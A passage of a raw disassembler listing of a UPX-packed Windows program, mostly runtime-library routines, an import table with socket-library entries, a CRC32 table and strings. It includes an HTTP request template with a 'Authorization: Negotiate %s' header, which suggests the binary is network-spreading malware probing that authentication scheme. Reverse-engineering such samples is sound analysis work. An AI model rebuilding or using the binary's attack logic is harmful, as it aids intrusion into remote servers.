loc_421E71: ; CODE XREF: sub_421E5B+Dj mov eax, esi pop esi retn 4 sub_421E5B endp ; =============== S U B R O U T I N E ======================================= sub_421E77 proc near ; CODE XREF: sub_421E5B+3p ; DATA XREF: UPX0:0042409Co mov dword ptr [ecx], offset off_423CA8 jmp sub_421CBA sub_421E77 endp ; =============== S U B R O U T I N E ======================================= sub_421E82 proc near ; CODE XREF: sub_421EF6+46p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_421E18 mov dword ptr [esi], offset off_423C7C mov eax, esi pop esi retn 4 sub_421E82 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421E9A proc near ; CODE XREF: std::basic_string<char,std::char_traits<char>,std::allocator<char>>::append(uint,char)+15p ; sub_4044BE+15p ... var_3C = dword ptr -3Ch var_20 = byte ptr -20h var_D = dword ptr -0Dh var_4 = dword ptr -4 mov eax, offset loc_42267A call __EH_prolog sub esp, 30h lea eax, [ebp+var_D] push eax ; int push offset aStringTooLong ; "string too long" lea ecx, [ebp+var_20] call sub_421C90 and [ebp+var_4], 0 lea eax, [ebp+var_20] push eax lea ecx, [ebp+var_3C] call sub_421DD0 push offset dword_424098 lea eax, [ebp+var_3C] push eax mov [ebp+var_3C], offset off_423CA8 call __CxxThrowException@8 ; _CxxThrowException(x,x) int 3 ; Trap to Debugger sub_421E9A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_421EDE proc near ; CODE XREF: sub_421EF6+28p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_421E18 mov dword ptr [esi], offset off_423CA8 mov eax, esi pop esi retn 4 sub_421EDE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421EF6 proc near ; DATA XREF: UPX0:00423C74o var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_421E18 push offset dword_4240D8 lea eax, [ebp+var_1C] push eax call __CxxThrowException@8 ; _CxxThrowException(x,x) int 3 ; Trap to Debugger loc_421F14: ; DATA XREF: UPX0:00423CB0o push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_421EDE push offset dword_424098 lea eax, [ebp+var_1C] push eax call __CxxThrowException@8 ; _CxxThrowException(x,x) int 3 ; Trap to Debugger loc_421F32: ; DATA XREF: UPX0:00423C84o push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_421E82 push offset dword_423FF0 lea eax, [ebp+var_1C] push eax call __CxxThrowException@8 ; _CxxThrowException(x,x) int 3 ; Trap to Debugger sub_421EF6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_421F50 proc near ; CODE XREF: sub_404950+6Cp jmp ds:dword_4231D4 sub_421F50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_421F56 proc near ; CODE XREF: sub_403DED+5Ep ; sub_4053D6+159p jmp ds:dword_423210 sub_421F56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_421F5C proc near ; CODE XREF: unknown_libname_2+23p ; __global_unwind2+13p jmp ds:dword_423188 sub_421F5C endp ; [00000080 BYTES: COLLAPSED FUNCTION __wcsicmp. PRESS KEYPAD "+" TO EXPAND] ; [00000015 BYTES: COLLAPSED FUNCTION type_info::~type_info(void). PRESS KEYPAD "+" TO EXPAND] ; [0000001C BYTES: COLLAPSED FUNCTION type_info::`scalar deleting destructor'(uint). PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_422013: ; DATA XREF: UPX0:off_423CD0o push esi mov esi, ecx call sub_4220B6 test byte ptr [esp+8], 1 jz short loc_422029 push esi call ??3@YAXPAX@Z ; operator delete(void *) pop ecx loc_422029: ; CODE XREF: UPX0:00422020j mov eax, esi pop esi retn 4 ; [0000003D BYTES: COLLAPSED FUNCTION exception::exception(char const * const &). PRESS KEYPAD "+" TO EXPAND] ; [0000004A BYTES: COLLAPSED FUNCTION exception::exception(exception const &). PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_4220B6 proc near ; CODE XREF: sub_421CBA+16j ; UPX0:00422016p ... cmp dword ptr [ecx+8], 0 mov dword ptr [ecx], offset off_423CD0 jz short locret_4220CB push dword ptr [ecx+4] ; Memory call ??3@YAXPAX@Z ; operator delete(void *) pop ecx locret_4220CB: ; CODE XREF: sub_4220B6+Aj retn sub_4220B6 endp ; [0000000D BYTES: COLLAPSED FUNCTION unknown_libname_16. PRESS KEYPAD "+" TO EXPAND] ; [0000003A BYTES: COLLAPSED FUNCTION _CxxThrowException(x,x). PRESS KEYPAD "+" TO EXPAND] ; [00000075 BYTES: COLLAPSED FUNCTION _towlower. PRESS KEYPAD "+" TO EXPAND] ; [00000209 BYTES: COLLAPSED FUNCTION ___crtLCMapStringW. PRESS KEYPAD "+" TO EXPAND] ; [00000030 BYTES: COLLAPSED FUNCTION _wcsncnt. PRESS KEYPAD "+" TO EXPAND] ; [00000052 BYTES: COLLAPSED FUNCTION _iswctype. PRESS KEYPAD "+" TO EXPAND] ; [000001C5 BYTES: COLLAPSED FUNCTION ___crtGetStringTypeW. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_4225D8 proc near ; DATA XREF: UPX0:stru_423EB0o ; FUNCTION CHUNK AT 0040445D SIZE 00000008 BYTES lea ecx, [ebp-38h] jmp loc_40445D sub_4225D8 endp ; =============== S U B R O U T I N E ======================================= sub_4225E0 proc near ; DATA XREF: UPX0:stru_423EB0o mov eax, [ebp-20h] and eax, 1 test eax, eax jz locret_4225F6 mov ecx, [ebp+8] jmp loc_40445D ; --------------------------------------------------------------------------- locret_4225F6: ; CODE XREF: sub_4225E0+8j retn sub_4225E0 endp ; --------------------------------------------------------------------------- loc_4225F7: ; DATA XREF: sub_404029o mov eax, offset stru_423EB0 jmp ___CxxFrameHandler ; --------------------------------------------------------------------------- align 4 loc_422604: ; DATA XREF: UPX0:stru_423EE0o lea ecx, [ebp+14h] jmp loc_40445D ; --------------------------------------------------------------------------- loc_42260C: ; DATA XREF: UPX0:stru_423EE0o lea ecx, [ebp-1Ch] jmp loc_40445D ; --------------------------------------------------------------------------- loc_422614: ; DATA XREF: sub_4041CBo mov eax, offset stru_423EE0 jmp ___CxxFrameHandler ; --------------------------------------------------------------------------- align 10h loc_422620: ; DATA XREF: std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Copy(uint)o mov eax, offset stru_423F10 jmp ___CxxFrameHandler ; --------------------------------------------------------------------------- loc_42262A: ; DATA XREF: UPX0:stru_423F68o mov ecx, [ebp-14h] jmp sub_4220B6 ; --------------------------------------------------------------------------- loc_422632: ; DATA XREF: sub_421CFEo mov eax, offset stru_423F70 jmp ___CxxFrameHandler ; --------------------------------------------------------------------------- loc_42263C: ; DATA XREF: UPX0:stru_424000o lea ecx, [ebp-20h] jmp loc_40445D ; --------------------------------------------------------------------------- loc_422644: ; DATA XREF: sub_421D73o mov eax, offset stru_424008 jmp ___CxxFrameHandler ; --------------------------------------------------------------------------- loc_42264E: ; DATA XREF: UPX0:stru_424024o mov ecx, [ebp-14h] jmp sub_4220B6 ; --------------------------------------------------------------------------- loc_422656: ; DATA XREF: sub_421DD0o mov eax, offset stru_42402C jmp ___CxxFrameHandler ; --------------------------------------------------------------------------- loc_422660: ; DATA XREF: UPX0:stru_424048o mov ecx, [ebp-10h] jmp sub_4220B6 ; --------------------------------------------------------------------------- loc_422668: ; DATA XREF: sub_421E18o mov eax, offset stru_424050 jmp ___CxxFrameHandler ; --------------------------------------------------------------------------- loc_422672: ; DATA XREF: UPX0:stru_4240A8o lea ecx, [ebp-20h] jmp loc_40445D ; --------------------------------------------------------------------------- loc_42267A: ; DATA XREF: sub_421E9Ao mov eax, offset stru_4240B0 jmp ___CxxFrameHandler ; --------------------------------------------------------------------------- dd 25Fh dup(0) dword_423000 dd 0AA83C7h ; DATA XREF: sub_40AAF5+36r dword_423004 dd 0AA8DC5h ; DATA XREF: sub_409204+10r ; sub_40938D+40r ... dword_423008 dd 77E6BD68h ; DATA XREF: ___crtsetenv+173r dword_42300C dd 77E77F2Eh ; DATA XREF: ___crtCompareStringA+3Er ; ___crtCompareStringA+261r dword_423010 dd 77E762D0h ; DATA XREF: ___crtCompareStringA+5Br ; ___crtCompareStringA+B9r dword_423014 dd 77E70192h ; DATA XREF: __chsize+F9r dword_423018 dd 77E7176Ch ; DATA XREF: _ValidateExecute(int (*)(void))+8r dword_42301C dd 77E7339Ch ; DATA XREF: sub_41FE46+Cr dword_423020 dd 77E7C9E7h ; DATA XREF: sub_41FE28+5r ; sub_41FE39+6r dword_423024 dd 77E73FF9h ; DATA XREF: __commit+2Cr dword_423028 dd 77E7FF2Eh ; DATA XREF: __set_osfhnd:loc_41F305r ; __free_osfhnd:loc_41F37Fr dword_42302C dd 77E7C866h ; DATA XREF: ___crtGetStringTypeA+3Fr ; ___crtGetStringTypeA+12Dr ... dword_423030 dd 77E641EBh ; DATA XREF: ___crtGetStringTypeA+59r ; ___crtGetStringTypeA+8Dr ... dword_423034 dd 0AA8225h ; DATA XREF: __ioinit+FFr ; __ioinit+166r ... dword_423038 dd 77E79C3Dh ; DATA XREF: __ioinit+158r ; __NMSG_WRITE+143r dword_42303C dd 77E7C931h ; DATA XREF: __ioinit+19Dr dword_423040 dd 0AA759Dh ; DATA XREF: ___crtGetEnvironmentStringsA+9r dword_423044 dd 0AA754Bh ; DATA XREF: ___crtGetEnvironmentStringsA:loc_41EA2Fr ; ___crtGetEnvironmentStringsA+E1r dword_423048 dd 77E7C9E1h ; DATA XREF: ___crtGetEnvironmentStringsA+CEr dword_42304C dd 77E9C5B1h ; DATA XREF: ___crtGetEnvironmentStringsA+11Fr dword_423050 dd 0AA76FDh ; DATA XREF: sub_401000+AAr ; sub_401447+95r ... dword_423054 dd 77E7751Ah ; DATA XREF: sub_401000+27r ; sub_401447+1A6r ... dword_423058 dd 77E802FCh ; DATA XREF: sub_4010B2+18Cr ; sub_4010B2+2D4r ... dword_42305C dd 77E6D75Bh ; DATA XREF: sub_4010B2+182r ; sub_401A6D+FFr dword_423060 dd 77E61BE6h ; DATA XREF: sub_4018CA+9Ar ; sub_40239E+5Dr ... dword_423064 dd 77E704FCh ; DATA XREF: sub_4022BD+20r ; sub_40B8D3+183r ... dword_423068 dd 77E70F89h ; DATA XREF: sub_4022BD+Er ; sub_40BF6F+Dr ... dword_42306C dd 77E77CCEh ; DATA XREF: sub_4029E0+66r ; sub_402AC3+65r ... dword_423070 dd 0AA7DB4h ; DATA XREF: sub_402DCE+135r ; sub_404950+1A9r ... dword_423074 dd 0AA8195h ; DATA XREF: sub_402DCE+120r ; sub_402DCE+150r ... dword_423078 dd 0AA7FF1h ; DATA XREF: sub_402DCE+103r ; sub_404862+94r ... dword_42307C dd 77E73EACh ; DATA XREF: sub_402DCE+E9r dword_423080 dd 0AA792Ah ; DATA XREF: sub_402DCE+68r ; sub_404950+A7r ... dword_423084 dd 77E79D5Bh ; DATA XREF: sub_404950+4BCr ; sub_40E68B+68r ... dword_423088 dd 77F5157Dh ; DATA XREF: sub_404950+4A3r ; sub_4060CD+282r ... dword_42308C dd 77E737DEh ; DATA XREF: sub_404950+43Ar dword_423090 dd 77E7A099h ; DATA XREF: sub_405A56+18r ; sub_407243+58r ... dword_423094 dd 77E64106h ; DATA XREF: sub_405F4B+9Fr ; sub_40B8D3+1B6r dword_423098 dd 77E64006h ; DATA XREF: sub_405F4B+8Br ; sub_40B8D3+19Fr dword_42309C dd 0AA775Dh ; DATA XREF: sub_4060CD+24Dr ; sub_407243+10Er ... dword_4230A0 dd 0AA80D8h ; DATA XREF: sub_4060CD+1EEr ; sub_4069FF+38r ... dword_4230A4 dd 77E74CABh ; DATA XREF: sub_4060CD+110r ; sub_40AC3D+10Fr ... dword_4230A8 dd 77E78EAAh ; DATA XREF: sub_40637D+5E8r ; sub_408EE0+C0r ... dword_4230AC dd 77E79424h ; DATA XREF: sub_40637D+27Br ; sub_40938D+135r dword_4230B0 dd 77E794BFh ; DATA XREF: sub_40637D+26Dr ; sub_40938D+123r dword_4230B4 dd 77E75E67h ; DATA XREF: sub_40637D+20Dr ; sub_40637D+5D7r ... dword_4230B8 dd 0AA8943h ; DATA XREF: sub_40637D+1FCr ; sub_408EE0+26r dword_4230BC dd 0AA8021h ; DATA XREF: sub_4069FF+6Cr ; sub_40C514+259r ... dword_4230C0 dd 77F7E300h ; DATA XREF: sub_407758+13Fr dword_4230C4 dd 77F7E21Fh ; DATA XREF: sub_407758+D4r dword_4230C8 dd 77E7C706h ; DATA XREF: sub_40796C+77r dword_4230CC dd 77F53275h ; DATA XREF: sub_40796C+6Br ; sub_40796C+22Fr dword_4230D0 dd 0AA73E5h ; DATA XREF: sub_409032+170r dword_4230D4 dd 0AA74CBh ; DATA XREF: sub_409032+BCr dword_4230D8 dd 0AA6865h ; DATA XREF: sub_409032+60r ; sub_40981A+11r ... dword_4230DC dd 0AA7295h ; DATA XREF: sub_409032+5Ar ; sub_40981A+13Ar ... dword_4230E0 dd 77F51597h ; DATA XREF: sub_409204+41r ; sub_409204+F5r ... dword_4230E4 dd 77F516F8h ; DATA XREF: sub_409204+21r ; sub_40938D+4Ar ... dword_4230E8 dd 77EB9A84h ; DATA XREF: __XcptFilter+138r dword_4230EC dd 77E7F01Ah ; DATA XREF: sub_40938D+88r ; sub_409534+55r dword_4230F0 dd 77E61A54h ; DATA XREF: sub_40938D+56r ; sub_409534+97r dword_4230F4 dd 77E7C3A5h ; DATA XREF: sub_40938D+34r ; sub_409534+2Er dword_4230F8 dd 77E706B7h ; DATA XREF: sub_40938D+15r ; sub_409534+13r ... dword_4230FC dd 0AA8B1Bh ; DATA XREF: sub_40981A+2r ; sub_40AC3D+FBr ... dword_423100 dd 0AA8E53h ; DATA XREF: sub_40AA30+2Dr dword_423104 dd 0AA8A8Bh ; DATA XREF: sub_40AABA+26r dword_423108 dd 0AA8ABBh ; DATA XREF: sub_40AABA+1Dr dword_42310C dd 0AA8511h ; DATA XREF: sub_40AAF5+69r dword_423110 dd 0AA76B2h ; DATA XREF: sub_415179+184r ; sub_415408+1Fr ... dword_423114 dd 0AA8245h ; DATA XREF: sub_40AAF5+25r dword_423118 dd 77E7011Ah ; DATA XREF: sub_40AB77+96r dword_42311C dd 77E73CE2h ; DATA XREF: sub_40AB77+60r dword_423120 dd 77E61BB8h ; DATA XREF: sub_40AC3D+17Er ; sub_40B567+F0r ... dword_423124 dd 77E668D9h ; DATA XREF: sub_40AC3D+15Dr dword_423128 dd 77E70396h ; DATA XREF: sub_40AC3D+126r ; sub_40E68B+1B2r ... dword_42312C dd 77E6AD34h ; DATA XREF: sub_40AC3D+35r ; sub_40EE51+3E67r dword_423130 dd 77E7FF65h ; DATA XREF: sub_40B412+5Ar dword_423134 dd 77EB7624h ; DATA XREF: sub_40B412+3Dr dword_423138 dd 0AA8125h ; DATA XREF: sub_40B567+91r ; sub_4167FC+77r dword_42313C dd 77E79C90h ; DATA XREF: sub_40B567+79r ; sub_41510E+Cr ... dword_423140 dd 77E7727Ah ; DATA XREF: sub_40B567+3Br ; sub_416703+23r dword_423144 dd 77E7C657h ; DATA XREF: sub_40B785+1Dr ; sub_40B8D3+24r ... dword_423148 dd 77E76C1Ah ; DATA XREF: sub_40B8D3+1CFr dword_42314C dd 0AA75EFh ; DATA XREF: sub_40CAF1+478r ; sub_40D39C+DFr ... dword_423150 dd 77E79924h ; DATA XREF: sub_40DBAE+13r ; ___crtLCMapStringA+20Dr ... dword_423154 dd 77E65F4Ch ; DATA XREF: sub_40E5CD+34r ; UPX0:00415A59r dword_423158 dd 77E73628h ; DATA XREF: sub_40E68B+326r ; sub_40EE51+4AB9r ... dword_42315C dd 77E80656h ; DATA XREF: sub_40E68B+255r dword_423160 dd 77E6BD13h ; DATA XREF: sub_40E68B:loc_40E843r dword_423164 dd 77E7C2C4h ; DATA XREF: sub_40E68B+61r dword_423168 dd 0AA770Ah ; DATA XREF: sub_40EE51+4D2Fr ; sub_4165B2+9Fr ... dword_42316C dd 77E71AFEh ; DATA XREF: sub_40EE51+3C66r dword_423170 dd 0AA8DBFh ; DATA XREF: _WinMainCRTStartup+26r dword_423174 dd 77E76968h ; DATA XREF: sub_4156FD+5Fr dword_423178 dd 77E7513Ch ; DATA XREF: UPX0:00415AF0r dword_42317C dd 77E6C29Dh ; DATA XREF: sub_41629B+1EBr dword_423180 dd 77E74C59h ; DATA XREF: sub_4165B2+C7r dword_423184 dd 77EC7C51h ; DATA XREF: sub_416987+5Er dword_423188 dd 77F6183Eh ; DATA XREF: sub_421F5Cr dword_42318C dd 77E76E3Dh ; DATA XREF: _time+6Cr __tzset+38r dword_423190 dd 77E61608h ; DATA XREF: _time+17r dword_423194 dd 77F5722Fh ; DATA XREF: _realloc+F0r ; ___sbh_alloc_new_region+28r dword_423198 dd 77E6177Ah ; DATA XREF: _WinMainCRTStartup+9Fr ; __ioinit+59r dword_42319C dd 0AA8DCBh ; DATA XREF: _WinMainCRTStartup+74r dword_4231A0 dd 77E6D706h ; DATA XREF: __raise_exc+215r ; _CxxThrowException(x,x)+2Er dword_4231A4 dd 77E76E0Bh ; DATA XREF: __heap_init+2Fr dword_4231A8 dd 77E7C726h ; DATA XREF: __heap_init+11r dword_4231AC dd 77E79E34h ; DATA XREF: ___sbh_free_block+23Fr dword_4231B0 dd 77E7980Ah ; DATA XREF: ___sbh_alloc_new_region+76r ; ___sbh_alloc_new_group+51r dword_4231B4 dd 77E73196h ; DATA XREF: sub_41FE62+Cr dword_4231B8 dd 77F522F2h ; DATA XREF: __msize+21r dword_4231BC dd 77E77405h ; DATA XREF: ___crtLCMapStringA+5Er ; ___crtLCMapStringA+A7r ... dword_4231C0 dd 77E781F9h ; DATA XREF: ___crtLCMapStringA+42r ; ___crtLCMapStringA+14Dr ... dword_4231C4 dd 77E7849Fh ; DATA XREF: __setmbcp+48r ; _setSBUpLow+14r ... dword_4231C8 dd 0AA8DD1h ; DATA XREF: _getSystemCP+2Fr dword_4231CC dd 77E6C703h ; DATA XREF: _getSystemCP+1Ar dd 0 dword_4231D4 dd 71B2ACCBh ; DATA XREF: sub_421F50r dd 0 dword_4231DC dd 71AB12F8h ; DATA XREF: sub_404E55+27r ; sub_404F9B+27r ... dword_4231E0 dd 71AB1836h ; DATA XREF: sub_4059D9+6Er ; sub_405A56+8Er dword_4231E4 dd 71AB41DAh ; DATA XREF: sub_4053D6+47r ; sub_4059D9+15r dword_4231E8 dd 71AB3F8Dh ; DATA XREF: sub_4053D6+8Dr dword_4231EC dd 71AB3ECEh ; DATA XREF: sub_4053D6+C4r dword_4231F0 dd 71AB5DE2h ; DATA XREF: sub_4053D6+D8r dword_4231F4 dd 71AB868Dh ; DATA XREF: sub_4053D6+180r dword_4231F8 dd 71AB8629h ; DATA XREF: UPX0:004053C2r dword_4231FC dd 71AB2BBFh ; DATA XREF: UPX0:0040528Fr dword_423200 dd 71AB1746h ; DATA XREF: sub_404E55+36r ; sub_404F9B+36r ... dword_423204 dd 71AB5690h ; DATA XREF: sub_404E55+6Ar ; sub_404F9B+6Ar ... dword_423208 dd 71AB1AF4h ; DATA XREF: sub_403F8B+12r ; sub_404E55+C3r ... dword_42320C dd 71AB1890h ; DATA XREF: sub_403DED+4Cr ; sub_4053D6+115r dword_423210 dd 71AB1B7Bh ; DATA XREF: sub_421F56r dword_423214 dd 71AB3C22h ; DATA XREF: sub_4018CA+59r ; UPX0:0040433Dr ... dword_423218 dd 71AB155Ah ; DATA XREF: sub_4018CA+70r ; sub_4053D6+9Dr dword_42321C dd 71AB3E5Dh ; DATA XREF: sub_4018CA+8Cr ; sub_404E55+59r ... dword_423220 dd 71AB1A6Dh ; DATA XREF: sub_4018CA+AAr ; sub_404E55+E0r ... align 8 ; char aGetHttp1_0Host[] aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_4041CB+62o db 'Host: %s',0Dh,0Ah db 'Authorization: Negotiate %s',0Dh,0Ah db 0Dh,0Ah,0 align 8 dbl_423268 dq 1.388888888888889e-2 ; DATA XREF: sub_403FDD+2Fr dbl_423270 dq 1.666666666666667e-1 ; DATA XREF: sub_403FDD+15r dword_423278 dd 0FFFFFFFFh ; DATA XREF: sub_404029+16Fr ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::append(uint,char)r ... align 10h dbl_423280 dq 1.333333333333333 ; DATA XREF: sub_404029+79r dword_423288 dd 0 ; DATA XREF: sub_4041CB+4Do ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(std::basic_string<char,std::char_traits<char>,std::allocator<char>> const &,uint,uint)+5Bo ... flt_42328C dd 5.0e-1 ; DATA XREF: sub_404950+398r dword_423290 dd 0 ; DATA XREF: sub_40C220+26r dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh dbl_423690 dq 9.765625e-4 ; DATA XREF: sub_40CAF1+2BDr ; sub_40CAF1+2D8r ... dbl_423698 dq -3.0517578125e-5 ; DATA XREF: sub_41543F+1Er dbl_4236A0 dq 1.0 ; DATA XREF: _floor+6Cr _ceil+6Cr ... dword_4236A8 dd 0FFFFFFFFh, 419AABh, 419ABFh ; DATA XREF: _WinMainCRTStartup+5o byte_4236B4 db 6 ; DATA XREF: __output:loc_419C7Fr db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h dd 0 dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h dd 8000008h, 7000800h, 8 aNull: ; DATA XREF: UPX0:off_43856Co unicode 0, <(null)>,0 align 10h aNull_2 db '(null)',0 ; DATA XREF: UPX0:off_438568o align 4 a_yn db '_yn',0 a_y1 db '_y1',0 a_y0 db '_y0',0 aFrexp db 'frexp',0 align 4 aFmod db 'fmod',0 align 4 a_hypot db '_hypot',0 align 4 a_cabs db '_cabs',0 align 4 aLdexp db 'ldexp',0 align 4 aModf db 'modf',0 align 4 aFabs db 'fabs',0 align 4 aFloor db 'floor',0 align 4 aCeil db 'ceil',0 align 4 aTan db 'tan',0 aCos db 'cos',0 aSin db 'sin',0 aSqrt db 'sqrt',0 align 10h aAtan2 db 'atan2',0 align 4 aAtan db 'atan',0 align 10h aAcos db 'acos',0 align 4 aAsin db 'asin',0 align 10h aTanh db 'tanh',0 align 4 aCosh db 'cosh',0 align 10h aSinh db 'sinh',0 align 4 aLog10 db 'log10',0 align 10h aLog db 'log',0 aPow db 'pow',0 aExp db 'exp',0 ; DATA XREF: UPX0:off_438794o align 10h dbl_4237E0 dq 0.0 ; DATA XREF: __handle_exc+8Cr ; __handle_exc+ACr ... dbl_4237E8 dq 4.195835e6 ; DATA XREF: __ms_p5_test_fdiv+Fr dbl_4237F0 dq 3.145727e6 ; DATA XREF: __ms_p5_test_fdiv+6r aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: __ms_p5_mp_test_fdiv+Fo align 4 aKernel32 db 'KERNEL32',0 ; DATA XREF: __ms_p5_mp_test_fdivo align 10h ; char aE000[] aE000 db 'e+000',0 ; DATA XREF: __cftoe+93o align 4 dword_423828 dd 0FFFFFFFFh, 41C5DDh, 41C5E7h, 0 ; DATA XREF: ___FrameUnwindToState+5o dword_423838 dd 0FFFFFFFFh, 0 ; DATA XREF: CallCatchBlock(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,_s_FuncInfo const *,void *,int,ulong)+5o dd offset loc_41C763 align 8 dd offset sub_41C741 dd offset sub_41C74B dd 0FFFFFFFFh, 41C993h, 41C997h, 0 ; DATA XREF: BuildCatchObject(EHExceptionRecord *,EHRegistrationNode *,_s_HandlerType const *,_s_CatchableType const *)+5o dword_423860 dd 0FFFFFFFFh, 41C9F5h, 41C9FEh, 0 ; DATA XREF: unknown_libname_11+5o dword_423870 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41CA7C+5o dd offset loc_41CACD align 10h mov ecx, 0BD0041CAh retf 41h ; --------------------------------------------------------------------------- dword_423888 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41CAD2+5o dd offset loc_41CB23 align 8 bswap ebx inc ecx add [ebx], dl retf ; --------------------------------------------------------------------------- dw 41h dword_4238A0 dd 2 dup(0) ; DATA XREF: ___crtLCMapStringA+36o ; ___crtGetStringTypeA+39o ... dword_4238A8 dd 0FFFFFFFFh, 41DD61h, 41DD65h, 0FFFFFFFFh, 41DE15h, 41DE19h ; DATA XREF: ___crtLCMapStringA+5o dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0 dd 414D4F44h, 65204E49h, 726F7272h, 